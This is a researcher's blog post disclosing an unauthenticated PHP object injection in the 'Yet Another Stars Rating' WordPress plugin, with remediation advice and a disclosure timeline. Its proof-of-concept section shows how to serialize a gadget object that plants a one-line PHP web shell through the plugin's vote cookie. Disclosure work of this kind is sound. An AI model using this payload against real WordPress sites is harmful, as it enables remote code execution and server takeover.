Object Injection
WordPress
PHP
RCE

PHP unserialize() Object Injection in Yet Another Stars Rating

Published on 27.01.2019

TL;DR

An unauthenticated PHP object injection in the "Yasr – Yet Another Stars Rating" WordPress plugin introduces a starting point for RCE and similar high-severity vulnerabilities. As of 27.01.2019, the plugin has over 20.000 active installations and round about 500.000 downloads. A shortcode provided by the plugin passes Cookie data without any filtering to PHPs unsafe unserialize() function.

PHP object injections via unserialize

PHP lets developers serialize objects so they can be saved into a database or files for later use. When loading the serialized object again, it must be unserialized. This introduces a new object into the current applications lifecycle. There are magic methods that will be called at specific points during execution. The __wakeup() method for example will be directly called as soon as the serialized data will be reconstructed to a regular object in case the class implements it.

An attacker, that can pass abritary data to unserialize, will try to find classes in the application that make use of magic methods in which interesting logic (such as executing OS commands or writing files) is located in. The class used in an exploit must be declared when the unserialization takes place.

Injection point in Yasr

Yasr, as a "powerful way to add SEO-friendly user-generated reviews and testimonials", gives blog owners the ability to add a shortcode to their content, which will add a star rating functionality. The yasr_visitor_votes shortcode determines if the current visitor already voted for the post in question and will enable/disable the actual vote function accordingly. This is being done with help of the yasr_visitor_vote_cookie cookie, in which the visitors votes will be saved in.

The vulnerability is being introduced in line 169 in the yasr-shortcode-functions.php file:

$cookie_data = unserialize($cookie_data);

$cookie_data is being set in the previous line by simply reading the yasr_visitor_vote_cookie entry in the $_COOKIE superglobal and stripping slashes.

Exploiting

The severity of an object injection in PHP highly depends on the codebase. More specifically on the usage of magic methods and class availability, as mentioned above. This is very unlikely to be exploitable in a blackbox test. But WordPress and plugins are open source and plugins used by a blog can easily be enumerated manually or with help of tools like wpscan.

I could not find a way to exploit this with use of the WordPress core. However, this is not needed as blog administrators can install any of the other 50.000+ existing plugins - only counting the ones listed on the actual WordPress plugin page. With the injection point provided by the plugin, code from other plugins, that is safe itself, can be abused to gain access to the server or data. This makes usages of unserialize especially critical in plugins extending a codebase, that might contain uncountable other extensions.

Utilizing an object injection to abuse other plugins classes has been demonstrated by Tom Van Goethem in his "PHP Object Injection Vulnerability in WordPress: an Analysis" presentation.

Update as of 28.04.2019

The issue is in fact directly exploitable with the core, no need for a third party plugin. This makes the vulnerability much more critical, as all of the over 20.000 websites using it can be hacked with a single request.

Requests_Utility_FilteredIterator is a WordPress class, that lets you define a callback for an array in order to filter it. It extends the PHP ArrayIterator class, which "allows to unset and modify values and keys while iterating over Arrays and Objects". The current() method will be called when iterating over the object (actually the data in the object) with foreach. This is what the YASR plugin does with the cookie data it unserialized. In the current() method, the WordPress class executes call_user_func($this->callback, $value). The callback is being passed over to the class in the constructor. This is everything we need to execute code on all the WordPress installation that use the old version of this plugin.

Thanks to Erwan from WPScan for bringing this to my attention. I've seen the class popping up on Twitter a couple of times, but didn't find the time to check it out. He also created a pull request for phpggc, which is a tool for generating PHP object injection payloads for known vulnerabilities.

Example PoC

In order to demonstrate the basic principles of this, I added a dummy Logger class to my WordPress installation and required it in the main index.php.

<?php

declare(strict_types=1);

class Logger
{
    private $file;
    private $message;

    public function __construct(string $file, string $message)
    {
        $this->file = $file;
        $this->message = $message;
    }

    public function __wakeup()
    {
        var_dump(__DIR__.'/'.$this->file);
        file_put_contents(__DIR__.'/'.$this->file, $this->message);
    }
}

In order to achieve a Remote Code Execution, the malicious visitor would probably set the file to anything ending with the .php extension and a message containing PHP code. So we will set the file, in which our message will be saved in, to shell.php and the content will be the <?php echo exec($_GET['paul']) ?>.

To abuse the code, an attacker needs to recreate the given class, create an object and serialize it.

<?php

$logger = new Logger('exploit.php', '<?php exec($_GET["paul"]) ?>');
echo htmlspecialchars(urlencode(serialize($logger)));

The above code will display the serialized representation of our Logger instance. The only thing we need to do now is passing it via the yasr_visitor_vote_cookie cookie and visiting a post containing the shortcode. I added the var_dump output in the __wakeup method, so we can see that it worked right on the page through the following line next to the star rating element:

/home/wordpress/Logger.php:18:string '/home/wordpress/exploit.php' (length=27)

Visiting the exploit.php file with the paul GET-parameter being set to any command, we will have our own little shell on the server now.

Shell example output

Remediation

Especially in this case, there are safe alternatives for saving data this way such as json_encode in combination with json_decode.

Timeline

27.01.2019 - Reported
27.01.2019 - Fixed in v1.8.7

Update as of 28.01.2019

I have been told by pluginvulnerabilities.com, that this is a duplicate finding. They published a full disclosure on this back in November; not listed on wpvulndb. Right after discovering this, I did a very brief Google search for Yet Another Stars Rating vulnerability to see if there has been any publicly disclosed information recently. What I found was an SQL Injection, that has been fixed. This, in combination with the last commit to the plugin repository, made me confident, that the developer seems to be active and does in fact still maintain the plugin and is responsive in terms of disclosures. That indicates a good chance of getting this fixed as soon as possible to secure 20.000+ blog owners. So I reported it to him on the 27th of January. He thankfully answered me and fixed it on the same day, so I had no reason to think that this is in fact an unfixed duplicate. Looking up his name on Google and contacting him via his personal page took a couple of minutes and was absolutely hassle-free.

So why is this a duplicate? The team at pluginvulnerabilities.com full disclosed it right away "due to the moderators of the WordPress Support Forum’s continued inappropriate behavior" without a reasonable attempt to notify the developer, besides writing a message in the developer forum afterwards. More information can be found in their disclosure. I don't think that the WordPress moderators behaviour is either the plugin maintainer or the blog owners fault, which were at risk because of this. However, I understand their frustration to a certain point.

Related posts

Did you have a nice stay? You might also like the following articles, as they are related to at least one of the current posts tags: Object Injection, WordPress, PHP, RCE.